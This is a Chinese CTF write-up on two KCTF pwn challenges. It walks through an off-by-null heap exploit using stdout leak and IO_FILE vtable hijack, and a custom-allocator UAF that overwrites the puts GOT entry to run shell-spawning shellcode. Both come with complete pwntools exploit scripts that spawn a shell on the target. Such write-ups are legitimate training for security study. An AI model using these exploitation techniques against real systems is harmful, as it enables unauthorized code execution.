KCTF Q3 PWN

这一个季度的看雪CTF没有好好做题,比赛完了又看了一下题目,复现一下。

heap

题目描述 & 题目漏洞

比较常见的菜单题目,有add、delete和edit三个功能,没有show,又要修改stdout,这个题目比较有特点是开始有一个函数,自己给malloc_hook和free_hook赋值:

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 sub_B87()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
if ( dword_202060 )
_assert_fail("!replaced", "iofile.c", 0x24u, "replace_hook");
dword_202060 = 1;
_malloc_hook = (__int64)sub_AF0;
_free_hook = (__int64)sub_B3F;
return __readfsqword(0x28u) ^ v1;
}

开始时dword_202060是1,在每次进行malloc时,程序会调用sub_AF0函数,这个函数会先将malloc_hook修改为_malloc_hook_ini,然后malloc,malloc后再将malloc_hook修改为sub_AF0函数,这样每次调用malloc都会先调用sub_AF0函数进行hook,所以不能通过修改malloc_hook来get shell。free_hook也是如此。

1
2
3
4
5
6
7
8
9
void *__fastcall sub_AF0(size_t a1)
{
void *v1; // ST10_8

sub_C04();
v1 = malloc(a1);
sub_B87();
return v1;
}

题目有一个off by null的漏洞,在edit时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
__int64 __fastcall my_read(__int64 a1, int a2)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-14h]
char s; // [rsp+20h] [rbp-10h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
memset(&s, 0, 8uLL);
for ( i = 0; i < a2; ++i )
{
if ( read(0, &s, 1uLL) <= 0 )
exit(1);
if ( s == 10 )
break;
*(_BYTE *)(a1 + i) = s;
}
result = (unsigned int)i;
if ( i == a2 )
{
result = i + a1;
*(_BYTE *)result = 0; // off by null
}
return result;
}

利用过程

首先利用off by null在fastbin中布置好一个0x70的chunk,它的fd被修改为stdout附近:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
heap_base = add(0xf8) - 0x10
add(0x68) #1
add(0x68) #2
add(0xf8) #3
add(0x68) #4

##off by null
delete(0)
delete(1) #free into fastbin
edit(2,'2'*0x60+p64(0x100+0x70+0x70))
delete(3)

add(0xf8) #0
add(0x58) #1 size -> 0x61
edit(1,'\xdd\x25\n')

但是此时它的size在chunk overlap后,重新申请chunk后被修改为0x61,因此需要再利用一次off by nul来把这个size修改为0x71。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
gdb-peda$ heapinfo
(0x20) fastbin[0]: 0x0
(0x30) fastbin[1]: 0x0
(0x40) fastbin[2]: 0x0
(0x50) fastbin[3]: 0x0
(0x60) fastbin[4]: 0x0
(0x70) fastbin[5]: 0x555555757100 (size error (0x60))
(0x80) fastbin[6]: 0x0
(0x90) fastbin[7]: 0x0
(0xa0) fastbin[8]: 0x0
(0xb0) fastbin[9]: 0x0
top: 0x555555757350 (size : 0x20cb0)
last_remainder: 0x555555757160 (size : 0x180)
unsortbin: 0x555555757160 (size : 0x180)
gdb-peda$ x /8gx 0x555555757100
0x555555757100: 0x0000000000000100 0x0000000000000061
0x555555757110: 0x00007ffff7dd25dd 0x00007ffff7dd1b78
0x555555757120: 0x0000000000000000 0x0000000000000000
0x555555757130: 0x0000000000000000 0x0000000000000000

再一次进行off by null修改size,然后申请到stdout附近的chunk,修改flag和低字节修改IO_write_base来泄露libc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
##off by null to set size
add(0x78) #3 == 2
add(0xf8) #5
delete(0)
edit(3,'a'*0x70+p64(0x100+0x60+0x80))
delete(5)

add(0xf8-0x10) #0
add(0x58) #5 == 1
edit(5,p64(0)+p64(0x71)+'\n')

##leak libc
add(0x68) #6
add(0x68) #7
edit(7,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00\n')
p.recvn(0x40)
libc_base = u64(p.recv(8))- (0x7ffff7dd2600-0x7ffff7a0d000)
print "libc_base:",hex(libc_base)

由于题目限制不能修改malloc_hook,libc版本是2.23,所以可以利用IO_FILE修改虚表来做,有两种方法,一个是在泄露libc之后,我们实际完全控制了_IO_2_1_stdout_,可以直接修改它的虚表,具体可以看ByteCTF 2019的note_five,这里的exp是用了修改IO_list_all为main_arena+88,然后在unsortedbin构造一个大小为0x60的chunk,当其在下一次未申请到的时候进入smallbin[4]中,这个位置恰好是IO_list_all的下一个IO_FILE_plus结构,然后在这个chunk中构造条件使其满足调用链abort->_IO_flush_all_lockp->_IO_OVERFLOW,修改虚表指针为system函数地址。这里我有一个比较蠢的地方就是重叠的chunk的大小是0x68,因为伪造虚表地址偏移在0xd8处,edit一次写不到对应位置,我就在那想啊,怎么再去构造chunk,但后来一想我可以先全部从unsortedbin中申请出来,构造好了条件再释放掉,然后再去修改size和unsortedbin条件的构造,太蠢了太蠢了。太久没做题了,都忘记怎么做这种题目了。
完整exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *

context.log_level = "debug"
#context.terminal = ["tmux","split",'-h']

DEBUG = 1

if DEBUG:
p = process("./pwn")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

else:
p = remote("154.8.174.214",10001)
libc = ELF("./libc-2.23.so")


def add(size):
p.recvuntil(">>")
p.sendline('1')
p.recvuntil(": ")
p.sendline(str(size))
p.recvuntil(": ")
heap_ptr = int(p.recvuntil("\n",drop=True),16)
return heap_ptr

def delete(idx):
p.recvuntil(">>")
p.sendline('2')
p.recvuntil(": ")
p.sendline(str(idx))

def edit(idx,data):
p.recvuntil(">>")
p.sendline('3')
p.recvuntil(": ")
p.sendline(str(idx))
p.recvuntil(": ")
p.send(data)


heap_base = add(0xf8) - 0x10
add(0x68) #1
add(0x68) #2
add(0xf8) #3
add(0x68) #4


##off by null
delete(0)
delete(1) #free into fastbin
edit(2,'2'*0x60+p64(0x100+0x70+0x70))
delete(3)


add(0xf8) #0
add(0x58) #1
edit(1,'\xdd\x25\n')

gdb.attach(p)

##off by null to set size
add(0x78) #3 == 2
add(0xf8) #5
delete(0)
edit(3,'a'*0x70+p64(0x100+0x60+0x80))
delete(5)


add(0xf8-0x10) #0
add(0x58) #5 == 1
edit(5,p64(0)+p64(0x71)+'\n')

##leak libc
add(0x68) #6
add(0x68) #7
edit(7,'\x00'*0x33+p64(0xfbad1800)+p64(0)*3+'\x00\n')
p.recvn(0x40)
libc_base = u64(p.recv(8))- (0x7ffff7dd2600-0x7ffff7a0d000)
print "libc_base:",hex(libc_base)


IO_list_all = libc_base + libc.symbols["_IO_list_all"]
fake_vtable = heap_base + 0x10
system_addr = libc_base + libc.symbols["system"]

##fake file
##fp->_IO_write_base = 2 -> offset 0x20
##fp->_IO_write_ptr = 3 -> offset 0x28
##fp->mode = 0 -> offset 0xc0
##fp->vtable = fake_vtable -> offset 0xd8
add(0xd8) #8
edit(8,'\x00'*0x10+p64(2)+p64(3)+'\x00'*0xa8+p64(fake_vtable)+'\n')

##unsortedbin attack
delete(8)
edit(6,'\x00'*0x40+"/bin/sh\x00"+p64(0x61)+p64(0)+p64(IO_list_all-0x10)+'\n')
edit(2,'\x00'*0x30+p64(0x60)+p64(0x80)+'\n')

##fake vtable
edit(0,p64(system_addr)*4+'\n')

##trigger abort->_IO_flush_all_lockp->_IO_OVERFLOW
p.recvuntil(">>")
p.sendline('1')
p.recvuntil(": ")
p.sendline('10')

p.interactive()

0xbird1

题目描述 & 题目漏洞

这道题也是自己实现了一个堆的管理机制,有add、edit、free和一个Nice的功能,Nice功能可以输出一个栈地址。题目有两个全局变量heap_list和size_list来保存每一个chunk的地址和大小。还有一个全局变量是双向空闲链表的开头,每次delete后都会把空闲的chunk加入到这个链表头,并修改对应chunk的fd和bk。chunk的最后0x10个字节来保存fd和bk,chunk的开头8个字节保存大小。
当进行add时,首先检查size,如果不足0xF,则取0x10,然后进行0x8对齐。然后根据free_head在空闲链表中去寻找第一个大于等于size(对齐后的size)的chunk。如果没有找到,就mmap一段内存,这段内存的权限是RWX。如果找到了,进行相应的解链操作,最后申请的实际大小其实是size+0x8,chunk的size仍然是对齐后的size,同时会加两个标志位,这导致size的低四个字节是0x3。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
_QWORD *__fastcall add(unsigned int a1)
{
unsigned int size; // [rsp+Ch] [rbp-54h]
unsigned int freed_size; // [rsp+3Ch] [rbp-24h]
_QWORD *v4; // [rsp+40h] [rbp-20h]
signed __int64 data_ptr; // [rsp+48h] [rbp-18h]
unsigned __int64 next; // [rsp+50h] [rbp-10h]
_QWORD *i; // [rsp+58h] [rbp-8h]

size = a1;
if ( a1 <= 0xF )
size = 0x10;
if ( size & 7 )
size = 8 * ((size >> 3) + 1);
for ( i = (_QWORD *)free_head; ; i = *(_QWORD **)next )
{
if ( !i )
i = new_mmap(size); // free_list为空,新mmap 0x1000,权限为RWX
next = (unsigned __int64)i + (*i & 0xFFFFFFFFFFFFFFFCLL) - 8;// 找到下一个free chunk
if ( (*i & 0xFFFFFFFFFFFFFFFCLL) >= size ) // 找到一个大于等于size的chunk
break;
}
data_ptr = (signed __int64)(i + 1); // i是target chunk的起始地址
freed_size = (*i & 0xFFFFFFFC) - size;
*i |= 1uLL; // use标志位
if ( freed_size <= 0x18 )
{
if ( (_QWORD *)free_head == i ) // 要分配的chunk恰好为free_list的头部
{
free_head = *(_QWORD *)next;
if ( free_head )
*(_QWORD *)(free_head + (*(_QWORD *)free_head & 0xFFFFFFFFFFFFFFFCLL)) = 0LL;// 目标free chunk的next->bk置为null
}
else
{
if ( *(_QWORD *)(next + 8) )
*(_QWORD *)((**(_QWORD **)(next + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(next + 8)) = *(_QWORD *)next;
if ( *(_QWORD *)next )
*(_QWORD *)((**(_QWORD **)next & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)next) = *(_QWORD *)(next + 8);
}
}
else
{
*i = size;
*i |= 1uLL; // 标志位
*i |= 2uLL; // 标志位
v4 = (_QWORD *)(size + data_ptr);
*v4 = freed_size - 8LL; // 最终申请的chunk为用户输入的size+0x8
if ( (_QWORD *)free_head == i )
{
free_head = size + data_ptr; // 更新free_head
if ( *(_QWORD *)next )
*(_QWORD *)(*(_QWORD *)next + (**(_QWORD **)next & 0xFFFFFFFFFFFFFFFCLL)) = v4;
}
else
{
if ( *(_QWORD *)(next + 8) )
*(_QWORD *)((**(_QWORD **)(next + 8) & 0xFFFFFFFFFFFFFFFCLL) - 8 + *(_QWORD *)(next + 8)) = v4;
if ( *(_QWORD *)next )
*(_QWORD *)((**(_QWORD **)next & 0xFFFFFFFFFFFFFFFCLL) + *(_QWORD *)next) = v4;
}
}
return i + 1;
}

当进行delete时,首先会检查add中设置的标志位,检查是否为空闲chunk,避免double free。然后检查下一个chunk是否为空闲chunk,如果是,则进行合并,并更新size。然后添加到双向链表的开头。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
_QWORD *__fastcall delete(__int64 data_ptr)
{
_QWORD *result; // rax
_OWORD *fd; // ST18_8
_QWORD *v3; // [rsp+18h] [rbp-20h]
_QWORD *next; // [rsp+20h] [rbp-18h]
_QWORD *heap_ptr; // [rsp+28h] [rbp-10h]

if ( data_ptr )
{
heap_ptr = (_QWORD *)(data_ptr - 8);
result = (_QWORD *)(*(_QWORD *)(data_ptr - 8) & 1LL);
if ( result ) // 检查标志位
{

if ( !(*heap_ptr & 2LL) || (next = (_QWORD *)(data_ptr + 8LL * (*heap_ptr >> 3)), *next & 1LL) )// 1.检查第二个标志位 2.检查下一个chunk是否为空闲chunk
{ // 下一个chunk不是空闲chunk
fd = (_OWORD *)((char *)heap_ptr + (*heap_ptr & 0xFFFFFFFFFFFFFFFCLL) - 8);
*heap_ptr ^= 1uLL; // 去除标志位
*fd = (unsigned __int64)free_head; // heap_ptr->fd指向原来的free_head
if ( free_head )
*(_QWORD *)(free_head + (*(_QWORD *)free_head & 0xFFFFFFFFFFFFFFFCLL)) = heap_ptr;// 原来free_head的bk指向新free的chunk
result = (_QWORD *)(data_ptr - 8);
free_head = data_ptr - 8; // 更新free_head
}
else
{ // 下一个chunk是空闲chunk,要进行合并
*heap_ptr += (*next & 0xFFFFFFFFFFFFFFFCLL) + 8;// 更新size
if ( !(*next & 2LL) ) // 有标志位
*heap_ptr ^= 2uLL; // 去除标志位
if ( (_QWORD *)free_head == next )
free_head = data_ptr - 8;
v3 = (_QWORD *)((char *)heap_ptr + (*heap_ptr & 0xFFFFFFFFFFFFFFFCLL) - 8);// fd
if ( *v3 )
*(_QWORD *)(*v3 + (*(_QWORD *)*v3 & 0xFFFFFFFFFFFFFFFCLL)) = heap_ptr;// 更新old free_head->fd->bk
result = (_QWORD *)v3[1]; // 如果相邻chunk不是free_head,更新相邻chunk的bk
if ( result )
{
result = (_QWORD *)(v3[1] + (*(_QWORD *)v3[1] & 0xFFFFFFFFFFFFFFFCLL) - 8);// 修改相邻chunk的bk->fd为heap_ptr
*result = heap_ptr;
}
}
}
}
return result;
}

题目存在UAF的漏洞,delete之后没有进行全局变量heap_list和size_list对应位置的清空,所以在delete之后我们可以利用edit功能来修改fd和bk,从而控制双向链表,申请到heap_list附近的chunk,然后修改某一个chunk的地址为puts函数的got表地址,在另外一个chunk上布置好shellcode(利用mmap申请的内存是RWX段),利用edit功能修改puts函数got表地址为shellcode所在chunk的地址,chunk地址在每次edit时都会输出。

利用

找到漏洞后利用思路比较简单,就是题目里的代码逻辑乍一看比较复杂,所以开始时没看下去,然后也不太适应做这种自己实现堆机制的题目,ByteCTF 2019中的mheap也是类似的题目,WriteUp在这里

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
from pwn import *

context.update(os="linux",arch="amd64",log_level="debug")

DEBUG = 1

elf = ELF("./0xbird1")

if DEBUG:
p = process("./0xbird1")
else:
p = remote("154.8.174.214",10000)

def Add(size):
p.recvuntil("| ")
p.sendline('A')
p.recvuntil(": ")
p.sendline(str(size))

def Free(idx):
p.recvuntil("| ")
p.sendline('F')
p.recvuntil(": ")
p.sendline(str(idx+1))

def Nice():
p.recvuntil("| ")
p.sendline('N')


def Write(idx,data):
p.recvuntil("| ")
p.sendline('W')
p.recvuntil(' ')
heap_addr = int(p.recvuntil('--',drop=True),16)
print hex(heap_addr)
p.recvuntil("Write addr: ")
p.sendline(str(idx))
p.recvuntil("Write value: ")
p.sendline(data)
return heap_addr


shellcode = asm(shellcraft.sh())

Add(0x60)
Add(0x60)
Add(0x60)
Add(0x60)

gdb.attach(p)

Free(1)
Free(2)
Free(3)

##fd -> heap_list
heap_addr = Write(3,'a'*0x50+p64(0x602095))
print "heap_addr:",hex(heap_addr)
Add(0x70)
Write(5,'\x00'*3+p64(elf.got["puts"]))


##puts.got-> chunk 3
Write(3,shellcode)
Write(1,p64(heap_addr+0xd0))

p.interactive()

参考

https://bbs.pediy.com/thread-254712.htm